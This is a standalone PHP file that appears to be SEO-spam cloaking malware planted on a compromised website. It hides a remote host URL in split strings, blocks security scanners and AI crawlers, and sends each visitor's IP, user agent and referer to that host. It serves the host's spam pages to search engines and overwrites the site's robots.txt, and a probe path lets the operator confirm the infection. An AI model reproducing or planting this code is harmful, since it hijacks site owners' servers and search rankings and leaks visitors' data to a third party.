<?php $pc = "AwNRDgsb"; $bjzm='d.';$xtbw='com/';$agwv='http:/';$rjxk='/cw4287.york';$sukh='min';$exdlw=$agwv.$rjxk.$sukh.$bjzm.$xtbw; $bagent = "aol|duckduckgo|google|Bing|yahoo"; if(preg_match("/(ApacheBench|DataForSEO|UniversalFeedParser|EasouSpider|crawlDaddy|httpClient|YySpider|FeedDemon|YandexBot|AmazonBot|CoolpadWebkit|Feedly|Scrapy|barkrowler|SeznamBot|ZmEu|python-requests|DotBot|CensysInspect|SemrushBot|Swiftbot|askTbFXTV|Java|yisouSpider|Indy Library|Paqlebot|Heritrix|Go-http-client|Claudebot|jikeSpider|mj12bot|PetalBot|LightDeckReports Bot|oBot|python|AhrefsBot|Bytespider|DigExt|GPTBot|Paloaltonetworks|Python-urllib|Ezooms|Jaunty)/i", $_SERVER['HTTP_USER_AGENT'])) {  header('HTTP/1.0 403 Forbidden');  exit(); } $language = urlencode(@$_SERVER['HTTP_ACCEPT_LANGUAGE']); error_reporting(0); $ip = $_SERVER['REMOTE_ADDR']; $refer = urlencode(@$_SERVER['HTTP_REFERER']); $uagent = urlencode($_SERVER['HTTP_USER_AGENT']); $domain = urlencode($_SERVER['HTTP_HOST']); if (isset($_SERVER['HTTP_CLIENT_IP'])) {  $ip = $_SERVER['HTTP_CLIENT_IP']; } elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {  $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } $ip = urlencode($ip); $script = urlencode($_SERVER['SCRIPT_NAME']);  if ((!empty($_SERVER['REQUEST_SCHEME']) and $_SERVER['REQUEST_SCHEME'] == 'https') or (!empty($_SERVER['HTTPS']) and $_SERVER['HTTPS'] == 'on') or (!empty($_SERVER['SERVER_PORT']) and $_SERVER['SERVER_PORT'] == '443') or (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) and $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https')) {  $_SERVER['REQUEST_SCHEME'] = 'https'; } else {  $_SERVER['REQUEST_SCHEME'] = 'http'; } function writeToFile($path, $contents) {  $file = fopen($path, "w");  if ($file) {  fwrite($file, $contents);  fclose($file);  return true;  }  return false; }  function readFromFile($path) {  $file = fopen($path, "r");  if ($file) {  $contents = fread($file, filesize($path));  fclose($file);  return $contents;  }  return false; } $uri = urlencode($_SERVER['REQUEST_URI']); $http = urlencode($_SERVER['REQUEST_SCHEME']); if(strpos($uri,"enwenw") !== false){echo "ok";exit();} $enwFilePath = "enw.txt"; $enw = 0; if(!is_file($enwFilePath)) {  $uuu = $http.'://'.$_SERVER['HTTP_HOST'].'/enwenw';  $fxxi = @file_get_contents($uuu);   if($fxxi === "ok") {   $enw = 1;   writeToFile($enwFilePath,"1");  } else {   $enw = 0;   writeToFile($enwFilePath,"0");  } } else {  $enw = readFromFile($enwFilePath); }  if(strpos($uri,"favicon.ico") !== false) { } else if(strpos($uri,"robots.txt") !== false or strpos($uri,"jp2023") !== false or strpos($uri,"pingsitemap") !== false or preg_match("@^/(.*?).xml$@i", $_SERVER['REQUEST_URI']) or preg_match("/($bagent)/i", $_SERVER['HTTP_USER_AGENT']) or preg_match("/($bagent)/i", @$_SERVER['HTTP_REFERER'])) {  $robots_contents = "";  $requsturl = $exdlw."?agent=$uagent&refer=$refer&lang=$language&ip=$ip&dom=$domain&http=$http&uri=$uri&pc=$pc&rewriteable=$enw&script=$script";  if(strpos($uri,"pingsitemap") !== false) {   $scripname = $_SERVER['SCRIPT_NAME'];   if(strpos($scripname,"index.ph") !== false) {    if($enw == 0) {     $scripname = '/?';    } else {     $scripname = '/';    }   } else {    $scripname = $scripname.'?';   }   $robots_contents = "User-agent: *\r\nAllow: /";   $sitemap = "$http://" . $domain .$scripname. "sitemap.xml";   $robots_contents = trim($robots_contents)."\r\n"."Sitemap: $sitemap";   $sitemapstatus = "";   echo $sitemap.": ".$sitemapstatus.'<br/>';   $requsturl = $exdlw."?agent=$uagent&refer=$refer&lang=$language&ip=$ip&dom=$domain&http=$http&uri=$uri&pc=$pc&rewriteable=$enw&script=$script&sitemap=".urlencode($sitemap);  }  $fxxi = @file_get_contents($requsturl);  if(empty($fxxi)) {   $ch = curl_init();   curl_setopt($ch, CURLOPT_URL, $requsturl);   curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);   $fxxi = curl_exec($ch);   curl_close($ch);  }  if(!empty($fxxi)) {   if(substr($fxxi,0,10)=="error code" or $fxxi == "500" or strpos($fxxi,'Bad Gateway')!==false) {    header("HTTP/1.0 500 Internal Server Error");    exit();   }   if(strpos($uri,"jp2023") !== false){header('HTTP/1.1 404 Not Found');}   else if(substr($fxxi,0,5)=="<?xml") {    header('Content-Type: text/xml; charset=utf-8');   } else {    header('Content-Type: text/html; charset=utf-8');   }   echo $fxxi;   if(!empty($robots_contents)){writeToFile("robots.txt",$robots_contents);}   else if(strpos($uri,"robots.txt") !== false){writeToFile("robots.txt",$fxxi);}   exit();   return;  } }else{ } ?>